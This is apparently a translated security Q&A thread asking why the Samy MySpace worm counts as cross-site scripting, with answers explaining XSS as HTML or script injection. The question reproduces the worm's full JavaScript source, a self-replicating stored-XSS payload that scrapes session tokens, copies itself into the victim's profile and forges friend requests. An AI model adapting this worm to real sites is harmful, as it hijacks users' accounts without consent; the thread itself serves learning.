Perché Samy Worm considera XSS?

3

La scorsa notte stavo dando un'occhiata a notevoli attacchi informatici e mi sono imbattuto nel worm Samy , che a quanto pare ha colpito un gran parte della rete MySpace - oltre un milione di utenti in meno di 24 ore, secondo la storia del perpetratore .

Sul suo sito web offre una procedura dettagliata su come ha sviluppato il codice, oltre che sull'intera sorgente . Ho passato la notte scorsa a de-offuscarlo e guardarlo per vedere come funzionava. Quello che non capisco è perché è classificato come un attacco XSS? Nulla nel codice sta cambiando l'origine o l'iniezione di codice da un altro sito Web in MySpace; tutto sta accadendo direttamente con gli URL di MySpace.

Qualcuno può spiegarmelo? (Inoltre, se riesci a spiegare qual è lo scopo di function nothing() {} , sarebbe un fantastico bonus.)

Il codice, più correttamente formattato, è in basso:

<div id=mycode style="BACKGROUND: url('javascript:eval(document.all.mycode.expr)')" expr="

var B = String.fromCharCode(34);
var A = String.fromCharCode(39);

function g() {
    var C;
    try {
        var D = document.body.createTextRange();
        C = D.htmlText
    }
    catch(e){}

    if(C) {
        return C
    } else {
        return eval('document.body.inne'+'rHTML')
    }
}

function getData(AU) {
    M = getFromURL(AU,'friendID');
    L = getFromURL(AU,'Mytoken')
}

function getQueryParams() {
    var E = document.location.search;
    var F = E.substring(1,E.length).split('&');
    var AS = new Array();
    for(var O = 0; O < F.length; O++) {
        var I=F[O].split('=');
        AS[I[0]]=I[1]
    }
    return AS
}

var J;
var AS = getQueryParams();
var L = AS['Mytoken'];
var M = AS['friendID'];

if(location.hostname=='profile.myspace.com') {
    document.location='http://www.myspace.com'+location.pathname+location.search
}
else {
    if(!M) {
        getData(g())
    }
    main()
}

function getClientFID() {
    return findIn(g(),'up_launchIC( '+A,A)
}

function nothing() {}

function paramsToString(AV) {
    var N = new String();
    var O = 0;
    for(var P in AV) {
        if(O>0) {
            N+='&'
        }
        var Q = escape(AV[P]);
        while(Q.indexOf('+')!=-1) {
            Q = Q.replace('+','%2B')
        }
        while(Q.indexOf('&')!=-1) {
            Q = Q.replace('&','%26')
        }
        N += P + '=' + Q;
        O++
    }

    return N
}

function httpSend(BH,BI,BJ,BK) {
    if(!J) {
        return false
    }

    eval('J.onr'+'eadystatechange=BI');
    J.open(BJ,BH,true);

    if(BJ=='POST') {
        J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
        J.setRequestHeader('Content-Length',BK.length)
    }

    J.send(BK);

    return true
}

function findIn(BF,BB,BC) {
    var R = BF.indexOf(BB) + BB.length;
    var S = BF.substring(R,R+1024);
    return S.substring(0,S.indexOf(BC))
}

function getHiddenParameter(BF,BG) {
    return findIn(BF,'name='+B+BG+B+' value='+B,B)
}

function getFromURL(BF,BG) {
    var T;
    if(BG=='Mytoken') {
        T = B
    } else {
        T='&'
    }

    var U = BG + '=';
    var V = BF.indexOf(U) + U.length;
    var W = BF.substring(V,V+1024);
    var X = W.indexOf(T);
    var Y = W.substring(0,X);
    return Y
}

function getXMLObj() {
    var Z = false;
    if(window.XMLHttpRequest) {
        try {
            Z = new XMLHttpRequest()
        } catch(e) {
            Z=false
        }
    } else if(window.ActiveXObject) {
        try {
            Z = new ActiveXObject('Msxml2.XMLHTTP')
        } catch(e){
            try {
                Z = new ActiveXObject('Microsoft.XMLHTTP')
            } catch(e) {
                Z = false
            }
        }
    }

    return Z
}

var AA = g();
var AB = AA.indexOf('m'+'ycode');
var AC = AA.substring(AB,AB+4096);
var AD = AC.indexOf('D'+'IV');
var AE = AC.substring(0,AD);
var AF;
if(AE) {
    AE = AE.replace('jav'+'a',A+'jav'+'a');
    AE = AE.replace('exp'+'r)','exp'+'r)'+A);
    AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'
}
var AG;

function getHome() {
    if(J.readyState!=4) {
        return
    }
    var AU = J.responseText;
    AG = findIn(AU,'P'+'rofileHeroes','</td>');
    AG = AG.substring(61,AG.length);
    if(AG.indexOf('samy') == -1) {
        if(AF) {
            AG += AF;
            var AR = getFromURL(AU,'Mytoken');
            var AS = new Array();
            AS['interestLabel'] = 'heroes';
            AS['submit'] = 'Preview';
            AS['interest'] = AG;
            J = getXMLObj();
            httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))
        }
    }
}

function postHero() {
    if(J.readyState!=4) {
        return
    }
    var AU = J.responseText;
    var AR = getFromURL(AU,'Mytoken');
    var AS = new Array();
    AS['interestLabel'] = 'heroes';
    AS['submit'] = 'Submit';
    AS['interest'] = AG;
    AS['hash'] = getHiddenParameter(AU,'hash');
    httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))
}

function main() {
    var AN = getClientFID();
    var BH = '/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;
    J = getXMLObj();
    httpSend(BH,getHome,'GET');
    xmlhttp2 = getXMLObj();
    httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')
}

function processxForm() {
    if(xmlhttp2.readyState!=4) {
        return
    }
    var AU = xmlhttp2.responseText;
    var AQ = getHiddenParameter(AU,'hashcode');
    var AR = getFromURL(AU,'Mytoken');
    var AS = new Array();
    AS['hashcode'] = AQ;
    AS['friendID'] = '11851658';
    AS['submit'] = 'Add to Friends';
    httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))
}

function httpSend2(BH,BI,BJ,BK) {
    if(!xmlhttp2){
        return false
    } eval('xmlhttp2.onr'+'eadystatechange=BI');
    xmlhttp2.open(BJ,BH,true);
    if(BJ=='POST') {
        xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
        xmlhttp2.setRequestHeader('Content-Length',BK.length)
    }
    xmlhttp2.send(BK);
    return true
}

"></DIV>
    
posta asteri 12.06.2013 - 15:30
fonte

3 risposte

9

XSS ha un nome strano. Non hai bisogno di più siti web per questo.

XSS essenzialmente l'equivalente html di SQL-injection. Quando un sito web emette un testo controllato da un attaccante in un documento html senza codifiche di entità come < , > o " l'attaccante può inserire javascript ostile nel documento html che verrà eseguito nel contesto di quel documento.

Se la pensi come iniezione HTML o iniezione javacript diventa molto più chiaro di cosa si tratta.

    
risposta data 12.06.2013 - 16:46
fonte
1

XSS non deve necessariamente essere da un sito all'altro. Significa semplicemente che l'input dell'utente può essere utilizzato in modo tale da aggiornare il contenuto del sito per renderlo compromesso e cercare di attaccare chi entra nel sito. Usa la fiducia del sito web della vittima per far sì che gli utenti della vittima lo eseguano.

In questo caso, è stato in grado di inviare informazioni a MySpace che ha reso MySpace della gente aggiornato con il worm, che a sua volta ha pubblicato il worm nel suo contenuto. Se MySpace avesse avuto una protezione migliore contro XSS, allora non sarebbe stato possibile per il worm essere ospitato dalla voce nel profilo.

    
risposta data 12.06.2013 - 15:45
fonte
1

XSS è sempre stato un termine improprio. Dovrebbe essere sempre stato chiamato "HTML injection" o "web markup injection" o "web script script injection".

Uno dei principali potenziali risultati dell'iniezione di script è infatti lo scripting cross-site arbitrario, che in realtà significa solo script tra domini. Ma, naturalmente, i "worm per applicazioni web" di questa natura restano interamente all'interno del proprio dominio.

    
risposta data 13.06.2013 - 22:51
fonte

Leggi altre domande sui tag